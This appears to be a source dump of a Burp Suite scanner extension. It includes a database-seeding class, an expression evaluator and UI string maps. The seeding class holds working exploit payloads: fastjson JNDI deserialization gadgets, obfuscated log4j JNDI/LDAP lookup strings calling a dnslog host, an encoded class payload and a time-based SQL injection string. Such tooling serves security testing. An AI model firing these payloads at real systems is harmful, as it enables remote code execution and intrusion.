X$D$88$d3$tn$S$5b$d1$8f$9dX$811$acB$B$abq$C$w$ceb$N$e9$P$d0$edx$3d$eaXK$X$d3$Nx$X$v$fc$L$eb$f1o$dc$88$f7$e9S$f8$D$b2$fe$_nb$5dH3$8e$cd$ac$XCl$A$c3$y$8b$M$db$86$y$h$c1$cdl$3f$b6$b2qlcS$b8$8d9$d8$ce$k$c0$ed$ecy$ec$60o$m$c7$de$c3$$B$b7$93$fd$Dw$60$84$90$9d$a7nL$b0w$I$cbg$I$fb$A$abc$XI$ba$b0$91$9d$c7n$ec$a1$u$c6$d8c$d8K$bc0$K$ec$7e$8c$S$_$82$T$e4$f7N$a2$a28$cb$s$b1$8f$a4$f4$cd$c3$b6c$3fQ$i$af$b1u8$40T$8c$90$7fD$R$k$84L$f8$3f$c4$5d8$84nB$5bG$k$87$a1$Q$e6$X0$8e$bb$d1C$c8$9f$c3$3d$a4$d7K$f8$9f$c2g1$818$a1$9e$a0$cc$ec$a1$ac$d1$b4$e0$I$ee$r$b4G$e9$dfC$f42$a5$40$910$v$e1s$S$a6$q$ik$ae$3e$e1$ff$8eK$f8$3c$d0$7d$Z$db$90$b8$W$5d$J_$90$f0$c5$G$7d$CX$7b$99$ca$c1$c8N$y_$SS$ac$d1$de$5d$u$7e$M$9c$80Y$e4$3a$N$A$A\"}}:\"xxx\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (10, 'jndi', '{\"@\\\\x74ype\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (11, 'jndi', '{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (12, 'jndi', '{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (13, 'jndi', '{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (14, 'jndi', '{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (15, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (16, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@\\\\x74ype\":\"java.util.Properties\",\"UserTransaction\":\"FUZZ\"}}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (17, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"java.lang.AutoCloseable\",\"@\\\\x74ype\":\"oracle.jdbc.rowset.OracleJDBCRowSet\",\"dataSourceName\":\"FUZZ\",\"command\":\"111\"}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (18, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"is\":{\"@\\\\x74ype\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"FUZZ\",\"autoCommit\":true}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (19, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (20, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (21, 'jndi', '{\"aaa\":{\"@\\\\x74ype\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (22, 'jndi', '{\"aaa\":{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"FUZZ\"}}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (23, 'jndi', '{\"bbb\":{\"@\\\\x74ype\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\",\"autoCommit\":true}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (24, 'jndi', '{\"bbb\":{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (25, 'jndi', '{\"bbbbbb\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (26, 'jndi', '{\"bbbbbb\":{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"FUZZ\", \"autoCommit\":true}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (27, 'version', '[\"a\"]');"); sqls.add("INSERT INTO \"fastjson\" VALUES (34, 'version', '{\"@type\": \"java.lang.AutoCloseable\"');"); sqls.add("INSERT INTO \"fastjson\" VALUES (28, 'dns', 'Set[{\"@type\":\"java.net.URL\",\"val\":\"http://dayu9.FUZZ\"}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (29, 'dns', '{\"name\":{\"@type\":\"java.net.InetAddress\",\"val\":\"dayu9xiaoyu47.FUZZ\"}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (30, 'dns', '{\"a\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.alibaba.fastjson.JSONReader\",\"reader\":{\"@type\":\"jdk.nashorn.api.scripting.URLReader\",\"url\":\"http://dayu37xiaoyu68.FUZZ\"}}}');"); sqls.add("INSERT INTO \"fastjson\" VALUES (31, 'dns', '[{\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"java.io.ByteArrayOutputStream\"},{\"@type\": \"java.io.ByteArrayOutputStream\"},{\"@type\": \"java.net.InetSocketAddress\"{\"address\":,\"val\": \"dayu9xiaoyu68.FUZZ\"}}]');"); sqls.add("INSERT INTO \"fastjson\" VALUES (32, 'dns', '[{\"@type\":\"java.lang.Class\",\"val\":\"java.io.ByteArrayOutputStream\"},{\"@type\":\"java.io.ByteArrayOutputStream\"},{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"dayu9xiaoyu24ordayu40xiaoyu47.FUZZ\"}}]');"); sqls.add("INSERT INTO \"fastjson\" VALUES (33, 'dns', '[{\"@type\":\"java.lang.Exception\",\"@type\":\"com.alibaba.fastjson.JSONException\",\"x\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"dayu9.FUZZ\"}}},{\"@type\":\"java.lang.Exception\",\"@type\":\"com.alibaba.fastjson.JSONException\",\"message\":{\"@type\":\"java.net.InetSocketAddress\"{\"address\":,\"val\":\"83.FUZZ\"}}}]');"); // Insert log4j data sqls.add("INSERT INTO 'log4j' VALUES (67, 'header', 'Cookies')"); sqls.add("INSERT INTO 'log4j' VALUES (68, 'header', 'X-Remote-Addr')"); sqls.add("INSERT INTO 'log4j' VALUES (69, 'header', 'User-Agent')"); sqls.add("INSERT INTO 'log4j' VALUES (70, 'domain', 'www.baidu.com')"); sqls.add("INSERT INTO 'log4j' VALUES (71, 'domain', 'www.qq.com')"); sqls.add("INSERT INTO 'log4j' VALUES (72, 'payload', '${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//dnslog-url/1}')"); sqls.add("INSERT INTO 'log4j' VALUES (73, 'payload', '${jndi:ldap://dnslog-url/2}')"); sqls.add("INSERT INTO 'log4j' VALUES (74, 'payload', '${jnd${upper:ı}:ldap://dnslog-url/3}')"); // Insert perm data sqls.add("INSERT INTO 'perm' VALUES (11, 'domain', 'baidu.com')"); sqls.add("INSERT INTO 'perm' VALUES (12, 'domain', 'qq.com')"); sqls.add("INSERT INTO 'perm' VALUES (13, 'domain', 'ww.com')"); sqls.add("INSERT INTO 'perm' VALUES (14, 'permLowAuth', 'Cookie: vue_admin_template_token=asd; security=low')"); sqls.add("INSERT INTO 'perm' VALUES (15, 'permNoAuth', 'Cookie')"); // Insert route data sqls.add("INSERT INTO 'route' VALUES (1, 1, 'Swagger UI', '/swagger-ui.html', 'code=\"200\" && (body=\"swagger-ui.css\" || body=\"swagger-ui.js\" || title=\"Swagger UI\")')"); sqls.add("INSERT INTO 'route' VALUES (3, 1, 'Spring Actuator Env', '/actuator/env', 'code=\"200\" && (body=\"java.version\" || body=\"os.arch\")')"); sqls.add("INSERT INTO 'route' VALUES (4, 1, 'phpinfo', '/phpinfo.php', 'code=200 && body=\"PHP Version\"')"); sqls.add("INSERT INTO 'route' VALUES (5, 1, 'nacos', '/nacos/index.html', 'code=200 && body=\"codemirror.addone.fullscreen.js\"')"); sqls.add("INSERT INTO 'route' VALUES (6, 1, 'druid', '/druid/login.html', 'code=200 && title=\"druid monitor\"')"); sqls.add("INSERT INTO 'route' VALUES (7, 1, 'swagger', '/swagger/Default/swagger.json', 'code=200 && body=\"openapi\"')"); sqls.add("INSERT INTO 'route' VALUES (20, 1, 'WSDL Service', '/services', 'code=\"200\" && (body=\"Available SOAP services:\" || body=\"Available Services:\") && body=\"?wsdl\"')"); sqls.add("INSERT INTO 'route' VALUES (21, 1, 'Metrics', '/metrics', 'code=\"200\" && body=\"# HELP node_uname_info\" && body=\"# TYPE node_uname_info gauge\"')"); sqls.add("INSERT INTO 'route' VALUES (22, 1, 'Swagger API Doc', '/v2/api-docs', 'code=\"200\" && (body=\"\\\"swagger\\\":\" || body=\"\\\"openapi\\\":\")')"); sqls.add("INSERT INTO 'route' VALUES (23, 1, 'Swagger API Doc', '/api-docs', 'code=\"200\" && (body=\"\\\"swagger\\\":\" || body=\"\\\"openapi\\\":\")')"); sqls.add("INSERT INTO 'route' VALUES (24, 1, 'Swagger', '/swagger.json', 'code=\"200\" && (body=\"\\\"swagger\\\":\" || body=\"\\\"swaggerVersion\\\"\" || body=\"\\\"openapi\\\":\")')"); sqls.add("INSERT INTO 'route' VALUES (25, 1, 'Swagger', '/swagger-resources', 'code=\"200\" && (body=\"\\\"swaggerVersion\\\"\" || body=\"\\\"location\\\"\")')"); // Insert sqli data sqls.add("INSERT INTO 'sqli' VALUES (14, 'header', 'User-Agent')"); sqls.add("INSERT INTO 'sqli' VALUES (15, 'header', 'Cookie')"); sqls.add("INSERT INTO 'sqli' VALUES (21, 'domain', 'www.baidu.com')"); sqls.add("INSERT INTO 'sqli' VALUES (22, 'domain', 'www.qq.com')"); sqls.add("INSERT INTO 'sqli' VALUES (23, 'payload', '0''XOR(if(1,sleep(6),0))XOR''Z')"); for (String sql : sqls) { Statement statement = connection.createStatement(); statement.execute(sql); statement.close(); } Utils.stdout.println("init db success"); } catch (SQLException e) { System.out.println(e.getMessage()); Utils.stderr.println(e.getMessage()); } } public static void close(Connection connection, PreparedStatement preparedStatement, ResultSet resultSet) { try { if (connection != null) { connection.close(); } if (preparedStatement != null) { preparedStatement.close(); } if (resultSet != null) { resultSet.close(); } } catch (Exception e) { Utils.stderr.println(e.getMessage()); } } } ================================================ FILE: src/main/java/burp/utils/ExpressionUtils.java ================================================ package burp.utils; import burp.IHttpRequestResponse; import burp.IRequestInfo; import burp.IResponseInfo; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Stack; import java.util.regex.Matcher; import java.util.regex.Pattern; public class ExpressionUtils { private IHttpRequestResponse baseRequestResponse; private IResponseInfo iResponseInfo; public ExpressionUtils() { } public ExpressionUtils(IHttpRequestResponse baseRequestResponse) { this.baseRequestResponse = baseRequestResponse; this.iResponseInfo = Utils.callbacks.getHelpers().analyzeResponse(this.baseRequestResponse.getResponse()); } // 获取请求url public String getUrl(){ IRequestInfo iRequestInfo = Utils.callbacks.getHelpers().analyzeRequest(this.baseRequestResponse); return iRequestInfo.getUrl().toString(); } // 获取响应码 public int getCode(){ return this.iResponseInfo.getStatusCode(); } // 获取响应头列表 public List getHeaders(){ return this.iResponseInfo.getHeaders(); } // 获取响应体 public byte[] getBody(){ byte[] responseBytes = this.baseRequestResponse.getResponse(); int bodyOffset = this.iResponseInfo.getBodyOffset(); byte[] responseBody = Arrays.copyOfRange(responseBytes, bodyOffset, responseBytes.length); // 将 responseBody 拆分成多个部分 List parts = new ArrayList<>(); int chunkSize = 1000; // 每个部分的大小 for (int i = 0; i < responseBody.length; i += chunkSize) { int end = Math.min(responseBody.length, i + chunkSize); byte[] part = Arrays.copyOfRange(responseBody, i, end); parts.add(part); } // 拼接所有部分 ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); for (byte[] part : parts) { try { outputStream.write(part); } catch (IOException e) { e.printStackTrace(); } } return outputStream.toByteArray(); } // 获取title public String getTitle(){ byte[] responseBytes = this.baseRequestResponse.getResponse(); int bodyOffset = this.iResponseInfo.getBodyOffset(); byte[] responseBody = Arrays.copyOfRange(responseBytes, bodyOffset, responseBytes.length); String decodedString = new String(responseBody, StandardCharsets.UTF_8); String title = Utils.extractTitle(decodedString); return title; } // 相等或包含关系 public boolean eq(String key, String value){ // 去除前后空格 key = key.trim(); value = value.trim(); if (key.equals("title")){ key = getTitle(); }else if (key.equals("code")) { key = String.valueOf(getCode()); }else if (key.equals("headers")) { // 如果key在getHeaders()里面 for (String header : getHeaders()) { if (header.contains(value)){ return true; } } }else if (key.equals("body")) { key = Utils.callbacks.getHelpers().bytesToString(getBody()); }else { key = key.trim(); } // 删除value两边的双引号 value = Utils.RemoveQuotes(value); return key.equals(value) || key.contains(value); } // 不相等或不包含关系 public boolean neq(String key, String value){ // 去除前后空格 key = key.trim(); value = value.trim(); if (key.equals("title")){ key = getTitle(); }else if (key.equals("code")) { key = String.valueOf(getCode()); }else if (key.equals("headers")) { // 如果key在getHeaders()里面 for (String header : getHeaders()) { if (header.contains(value)){ return false; // 如果找到包含的值,返回false } } return true; // 没找到包含的值,返回true }else if (key.equals("body")) { key = Utils.callbacks.getHelpers().bytesToString(getBody()); } value = Utils.RemoveQuotes(value); return !key.equals(value) && !key.contains(value); } // 处理表达式的入口方法 public boolean process(String expression) { expression = expression.trim(); return evaluateExpression(expression); } // 表达式求值的核心方法 private boolean evaluateExpression(String expression) { // 如果是简单表达式,直接处理 if (!isCompoundExpression(expression)) { return processSingle(expression); } // 处理带括号的表达式 if (expression.contains("(")) { return handleBrackets(expression); } // 处理AND/OR运算 if (expression.contains("&&") || expression.contains("||")) { return handleLogicalOperators(expression); } return processSingle(expression); } // 检查是否是复合表达式 private boolean isCompoundExpression(String expression) { return expression.contains("&&") || expression.contains("||") || expression.contains("(") || expression.contains(")"); } // 处理带括号的表达式 private boolean handleBrackets(String expression) { Stack stack = new Stack<>(); int start = -1; for (int i = 0; i < expression.length(); i++) { char c = expression.charAt(i); if (c == '(') { if (stack.isEmpty()) { start = i; } stack.push(i); } else if (c == ')') { stack.pop(); if (stack.isEmpty()) { // 找到匹配的括号对 String before = expression.substring(0, start).trim(); String middle = expression.substring(start + 1, i).trim(); String after = expression.substring(i + 1).trim(); // 递归处理括号内的表达式 boolean middleResult = evaluateExpression(middle); // 构造新的表达式并继续处理 String newExpression; if (before.isEmpty() && after.isEmpty()) { return middleResult; } else if (before.isEmpty()) { newExpression = middleResult + " " + after; } else if (after.isEmpty()) { newExpression = before + " " + middleResult; } else { newExpression = before + " " + middleResult + " " + after; } return evaluateExpression(newExpression); } } } return false; } // 处理逻辑运算符 private boolean handleLogicalOperators(String expression) { // 优先处理AND运算 if (expression.contains("&&")) { String[] parts = expression.split("&&", 2); boolean leftResult = evaluateExpression(parts[0].trim()); // 短路运算 if (!leftResult) return false; return leftResult && evaluateExpression(parts[1].trim()); } // 处理OR运算 if (expression.contains("||")) { String[] parts = expression.split("\\|\\|", 2); boolean leftResult = evaluateExpression(parts[0].trim()); // 短路运算 if (leftResult) return true; return leftResult || evaluateExpression(parts[1].trim()); } return processSingle(expression); } // 处理单个条件表达式 private boolean processSingle(String expression) { expression = expression.trim(); if (expression.equals("true")) return true; if (expression.equals("false")) return false; // 使用正则表达式匹配操作符 Pattern pattern = Pattern.compile("(?> languageMap = new HashMap<>(); static { // 初始化英文映射 Map enMap = new HashMap<>(); // AuthUI enMap.put("auth.button.clear", "Clear"); enMap.put("auth.button.save", "Save"); enMap.put("auth.label.ip", "IP:"); // SqlUI enMap.put("sql.checkbox.passive", "Passive Scan"); enMap.put("sql.checkbox.delete_original", "Delete Original Value"); enMap.put("sql.checkbox.check_cookie", "Check Cookie"); enMap.put("sql.checkbox.check_header", "Check Header"); enMap.put("sql.checkbox.whitelist", "Whitelist Domain"); enMap.put("sql.checkbox.url_encode", "URL Encode"); enMap.put("sql.checkbox.boolean_blind", "Boolean Blind"); enMap.put("sql.button.save_whitelist", "Save Whitelist"); enMap.put("sql.button.save_header", "Save Headers"); enMap.put("sql.button.refresh", "Refresh"); enMap.put("sql.button.clear", "Clear"); enMap.put("sql.label.whitelist", "Whitelist Domains"); enMap.put("sql.label.header", "Header Detection List"); enMap.put("sql.label.payload", "SQL Payload"); enMap.put("sql.label.error_key", "SQL Error Key"); enMap.put("sql.button.save_payload", "Save SQL Payload"); enMap.put("sql.button.save_error_key", "Save SQL Error Key"); enMap.put("sql.border.scan_options", "Scan Options"); enMap.put("sql.border.configuration", "Configuration"); enMap.put("sql.border.actions", "Actions"); // PermUI enMap.put("perm.tab.original", "Original Request"); enMap.put("perm.tab.low", "Low Privilege Request"); enMap.put("perm.tab.no", "No Privilege Request"); enMap.put("perm.checkbox.passive", "Passive Scan"); enMap.put("perm.checkbox.whitelist", "Whitelist Domain"); enMap.put("perm.button.save_whitelist", "Save Whitelist"); enMap.put("perm.button.save_auth", "Save Auth Data"); enMap.put("perm.button.export", "Export Data"); enMap.put("perm.button.refresh", "Refresh"); enMap.put("perm.button.clear", "Clear"); enMap.put("perm.label.whitelist", "Whitelist Domains"); enMap.put("perm.label.low_auth", "Low Privilege Auth Info"); enMap.put("perm.label.no_auth", "No Privilege Auth Info (Headers Only)"); enMap.put("perm.border.scan_options", "Scan Options"); enMap.put("perm.border.configuration", "Configuration"); enMap.put("perm.border.actions", "Actions"); enMap.put("perm.message.no_data", "No data in table"); enMap.put("perm.message.export_success", "Export successful, copied to clipboard"); enMap.put("perm.message.fill_whitelist", "Please fill in the whitelist domain first"); // FastjsonUI enMap.put("fastjson.button.clear", "Clear"); enMap.put("fastjson.button.refresh", "Refresh"); enMap.put("fastjson.checkbox.passive", "Enable Passive Scan"); enMap.put("fastjson.checkbox.auto_refresh", "Auto Refresh"); enMap.put("fastjson.message.enter_echo", "Please enter echo command"); // Log4jUI enMap.put("log4j.checkbox.passive", "Passive Scan"); enMap.put("log4j.checkbox.original", "Original Payload"); enMap.put("log4j.checkbox.params", "Check Parameters"); enMap.put("log4j.checkbox.headers", "Check Headers"); enMap.put("log4j.checkbox.whitelist", "Whitelist Domain"); enMap.put("log4j.checkbox.dns_ip", "DNS"); enMap.put("log4j.button.save_whitelist", "Save Whitelist"); enMap.put("log4j.button.save_header", "Save Headers"); enMap.put("log4j.button.refresh", "Refresh"); enMap.put("log4j.button.clear", "Clear"); enMap.put("log4j.label.whitelist", "Whitelist Domains"); enMap.put("log4j.label.header", "Header Detection List"); enMap.put("log4j.label.payload", "Payload List"); enMap.put("log4j.button.save_payload", "Save Payload"); enMap.put("log4j.border.scan_options", "Scan Options"); enMap.put("log4j.border.configuration", "Configuration"); enMap.put("log4j.border.actions", "Actions"); // RouteUI enMap.put("route.button.refresh", "Refresh"); enMap.put("route.button.clear", "Clear"); enMap.put("route.checkbox.passive", "Passive Scan"); enMap.put("route.label.tips", "Add Custom Rule: "); enMap.put("route.label.name", "Name:"); enMap.put("route.label.path", "Path:"); enMap.put("route.label.express", "Express:"); enMap.put("route.button.add", "Add Rule"); enMap.put("route.button.delete", "Delete Selected"); enMap.put("route.button.enable", "Enable/Disable Selected"); // SimilarUI enMap.put("similar.label.project", "Current Project: Not Selected"); enMap.put("similar.button.scan", "Start Scan"); enMap.put("similar.button.manage", "Project Management"); enMap.put("similar.button.config", "Configure Main Domain"); enMap.put("similar.label.domain", " Domain List:"); enMap.put("similar.label.url", " URL List:"); enMap.put("similar.label.stats", "Statistics: "); enMap.put("similar.label.domain_cache", "Domain Cache"); enMap.put("similar.label.url_cache", "URL Cache"); enMap.put("similar.label.main_domain", "Main Domain Configuration:"); enMap.put("similar.message.select_project", "Please select a project first!"); enMap.put("similar.table.copy_domain", "Copy Domain"); enMap.put("similar.table.copy_ip", "Copy IP"); enMap.put("similar.table.copy_selected", "Copy Selected"); enMap.put("similar.table.copy_selected_url", "Copy Selected URL"); enMap.put("similar.table.copy_all_url", "Copy All URLs"); enMap.put("similar.table.clear_selection", "Clear Selection"); // DomainConfigDialog enMap.put("similar.dialog.domain_config_title", "Main Domain Configuration"); enMap.put("similar.dialog.add_domain", "Add Domain"); enMap.put("similar.dialog.edit_domain", "Edit Domain"); enMap.put("similar.dialog.delete_domain", "Delete Domain"); enMap.put("similar.dialog.save", "Save"); enMap.put("similar.dialog.domain_list", "Main Domain List:"); // ProjectManageDialog enMap.put("similar.dialog.project_manage_title", "Project Management"); enMap.put("similar.dialog.add_project", "Add Project"); enMap.put("similar.dialog.delete_project", "Delete Project"); enMap.put("similar.dialog.select_project", "Select Project"); // FastjsonUI enMap.put("fastjson.button.refresh", "Refresh"); enMap.put("fastjson.checkbox.auto_refresh", "Auto Refresh"); enMap.put("fastjson.dialog.select_type", "Please select type:"); enMap.put("fastjson.dialog.tip", "Tip"); // AuthUI enMap.put("auth.button.clear", "Clear"); enMap.put("auth.label.ip", "IP:"); enMap.put("auth.button.save", "Save"); // SocksUI enMap.put("socks.button.save", "Save"); enMap.put("socks.button.next", "Next"); enMap.put("socks.checkbox.enable", "Enable Socks"); enMap.put("socks.border.proxy_pool", "Proxy Pool: (example: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)"); enMap.put("socks.border.log", "Log"); // ProjectManageDialog messages enMap.put("similar.dialog.input_project_name", "Please enter project name:"); enMap.put("similar.dialog.create_project_failed", "Create project failed: "); enMap.put("similar.dialog.error", "Error"); enMap.put("similar.dialog.confirm_delete_project", "Are you sure to delete project '"); enMap.put("similar.dialog.confirm_delete", "Confirm Delete"); enMap.put("similar.dialog.delete_project_failed", "Delete project failed: "); enMap.put("similar.dialog.refresh_project_list_failed", "Refresh project list failed: "); // DomainConfigDialog messages enMap.put("similar.dialog.input_domain", "Please enter domain:"); enMap.put("similar.dialog.add_domain_title", "Add Domain"); enMap.put("similar.dialog.domain_exists", "Domain already exists!"); enMap.put("similar.dialog.tip", "Tip"); enMap.put("similar.dialog.edit_domain", "Edit domain:"); enMap.put("similar.dialog.select_domain_to_edit", "Please select a domain to edit!"); enMap.put("similar.dialog.confirm_delete_domain", "Are you sure to delete the selected domain?"); enMap.put("similar.dialog.select_domain_to_delete", "Please select a domain to delete!"); // UrlRedirectUI enMap.put("redirect.checkbox.passive", "Passive Scan"); enMap.put("redirect.button.clear", "Clear"); enMap.put("redirect.border.settings", "Settings"); enMap.put("redirect.label.parameter", "Parameter"); enMap.put("redirect.label.parameters", "Parameters"); enMap.put("redirect.label.payloads", "Payloads"); enMap.put("redirect.button.add", "Add"); enMap.put("redirect.button.clear", "Clear"); enMap.put("redirect.value.yes", "Yes"); enMap.put("redirect.value.no", "No"); // ConfigUI enMap.put("config.label.dnslog", "DNS Log"); enMap.put("config.label.ip", "IP Address"); enMap.put("config.label.tool_name", "Tool Name"); enMap.put("config.label.tool_args", "Tool Arguments"); enMap.put("config.button.save", "Save Config"); enMap.put("config.button.refresh", "Refresh"); enMap.put("config.button.delete", "Delete Selected"); enMap.put("config.button.clear_cache", "Clear Cache"); enMap.put("config.button.reset", "Reset Duplicate Check"); enMap.put("config.message.delete_success", "Delete Successfully"); enMap.put("config.message.delete_failed", "Delete Failed"); enMap.put("config.message.save_success", "Save Successfully"); enMap.put("config.message.reset_success", "Reset Successfully"); enMap.put("config.title.info", "Info"); // 通用 enMap.put("common.button.save", "Save"); enMap.put("common.button.next", "Next"); enMap.put("common.checkbox.enable", "Enable Socks"); enMap.put("common.border.proxy_pool", "Proxy Pool: (example: 1.2.3.4:7890 or 1.2.3.4:7890:user:pass)"); enMap.put("common.border.log", "Log"); enMap.put("common.label.language", "Language"); enMap.put("common.message.language_change", "Language changed. Please restart the plugin to apply changes."); enMap.put("common.title.info", "Info"); // SocksUI enMap.put("socks.message.save_success", "Successfully saved %s records"); enMap.put("socks.message.invalid_format", "Please enter the correct proxy format"); enMap.put("socks.message.save_first", "Please save the proxy configuration first"); enMap.put("socks.message.all_used", "All proxies have been used"); enMap.put("socks.message.current_proxy", "Currently using IP: %s:%s"); enMap.put("socks.message.current_proxy_with_user", "Currently using IP: %s:%s Username: %s"); languageMap.put(Language.ENGLISH, enMap); // 初始化中文映射 Map zhMap = new HashMap<>(); // AuthUI zhMap.put("auth.button.clear", "清空表格"); zhMap.put("auth.button.save", "保存"); zhMap.put("auth.label.ip", "IP:"); // SqlUI zhMap.put("sql.checkbox.passive", "被动扫描"); zhMap.put("sql.checkbox.delete_original", "删除原始值"); zhMap.put("sql.checkbox.check_cookie", "检测cookie"); zhMap.put("sql.checkbox.check_header", "检测header"); zhMap.put("sql.checkbox.whitelist", "白名单域名检测"); zhMap.put("sql.checkbox.url_encode", "url编码"); zhMap.put("sql.checkbox.boolean_blind", "布尔盲注"); zhMap.put("sql.button.save_whitelist", "保存白名单域名"); zhMap.put("sql.button.save_header", "保存header"); zhMap.put("sql.button.refresh", "刷新表格"); zhMap.put("sql.button.clear", "清空表格"); zhMap.put("sql.label.whitelist", "白名单域名"); zhMap.put("sql.label.header", "header检测列表"); zhMap.put("sql.label.payload", "sql payload"); zhMap.put("sql.label.error_key", "sql error key"); zhMap.put("sql.button.save_payload", "保存sql payload"); zhMap.put("sql.button.save_error_key", "保存sql error key"); zhMap.put("sql.border.scan_options", "扫描选项"); zhMap.put("sql.border.configuration", "配置"); zhMap.put("sql.border.actions", "操作"); // PermUI zhMap.put("perm.tab.original", "原始请求包"); zhMap.put("perm.tab.low", "低权限请求包"); zhMap.put("perm.tab.no", "无权限请求包"); zhMap.put("perm.checkbox.passive", "被动扫描"); zhMap.put("perm.checkbox.whitelist", "白名单域名"); zhMap.put("perm.button.save_whitelist", "保存白名单"); zhMap.put("perm.button.save_auth", "保存认证数据"); zhMap.put("perm.button.export", "导出数据"); zhMap.put("perm.button.refresh", "刷新表格"); zhMap.put("perm.button.clear", "清空表格"); zhMap.put("perm.label.whitelist", "白名单域名"); zhMap.put("perm.label.low_auth", "低权限认证请求信息"); zhMap.put("perm.label.no_auth", "无权限认证请求信息(输入请求头信息,不输入请求体信息)"); zhMap.put("perm.border.scan_options", "扫描选项"); zhMap.put("perm.border.configuration", "配置"); zhMap.put("perm.border.actions", "操作"); zhMap.put("perm.message.no_data", "表格中没有数据"); zhMap.put("perm.message.export_success", "导出成功,已复制到剪切板"); zhMap.put("perm.message.fill_whitelist", "请先填写白名单域名"); // FastjsonUI zhMap.put("fastjson.button.clear", "清空表格"); zhMap.put("fastjson.button.refresh", "刷新表格"); zhMap.put("fastjson.checkbox.passive_scan", "被动扫描"); zhMap.put("fastjson.checkbox.auto_refresh", "自动刷新表格"); zhMap.put("fastjson.message.enter_echo", "请输入echo命令"); // Log4jUI zhMap.put("log4j.checkbox.passive", "被动扫描"); zhMap.put("log4j.checkbox.original", "原始payload"); zhMap.put("log4j.checkbox.params", "检测参数"); zhMap.put("log4j.checkbox.headers", "检测header"); zhMap.put("log4j.checkbox.whitelist", "白名单域名检测"); zhMap.put("log4j.checkbox.dns_ip", "dns"); zhMap.put("log4j.button.save_whitelist", "保存白名单域名"); zhMap.put("log4j.button.save_header", "保存header"); zhMap.put("log4j.button.refresh", "刷新表格"); zhMap.put("log4j.button.clear", "清空表格"); zhMap.put("log4j.label.whitelist", "白名单域名"); zhMap.put("log4j.label.header", "header检测列表"); zhMap.put("log4j.label.payload", "payload 列表"); zhMap.put("log4j.button.save_payload", "保存payload"); zhMap.put("log4j.border.scan_options", "扫描选项"); zhMap.put("log4j.border.configuration", "配置"); zhMap.put("log4j.border.actions", "操作"); // RouteUI zhMap.put("route.button.refresh", "刷新表格"); zhMap.put("route.button.clear", "清空表格"); zhMap.put("route.checkbox.passive", "被动扫描"); zhMap.put("route.label.tips", "自定义规则添加: "); zhMap.put("route.label.name", "规则名称:"); zhMap.put("route.label.path", "路径:"); zhMap.put("route.label.express", "表达式规则:"); zhMap.put("route.button.add", "添加规则"); zhMap.put("route.button.delete", "删除选中规则"); zhMap.put("route.button.enable", "开启/关闭选中规则"); // SimilarUI zhMap.put("similar.label.project", "当前项目: 未选择"); zhMap.put("similar.button.scan", "开启扫描"); zhMap.put("similar.button.manage", "项目管理"); zhMap.put("similar.button.config", "配置主域名"); zhMap.put("similar.label.domain", " 域名列表:"); zhMap.put("similar.label.url", " URL列表:"); zhMap.put("similar.label.stats", "统计信息: "); zhMap.put("similar.label.domain_cache", "域名缓存"); zhMap.put("similar.label.url_cache", "URL缓存"); 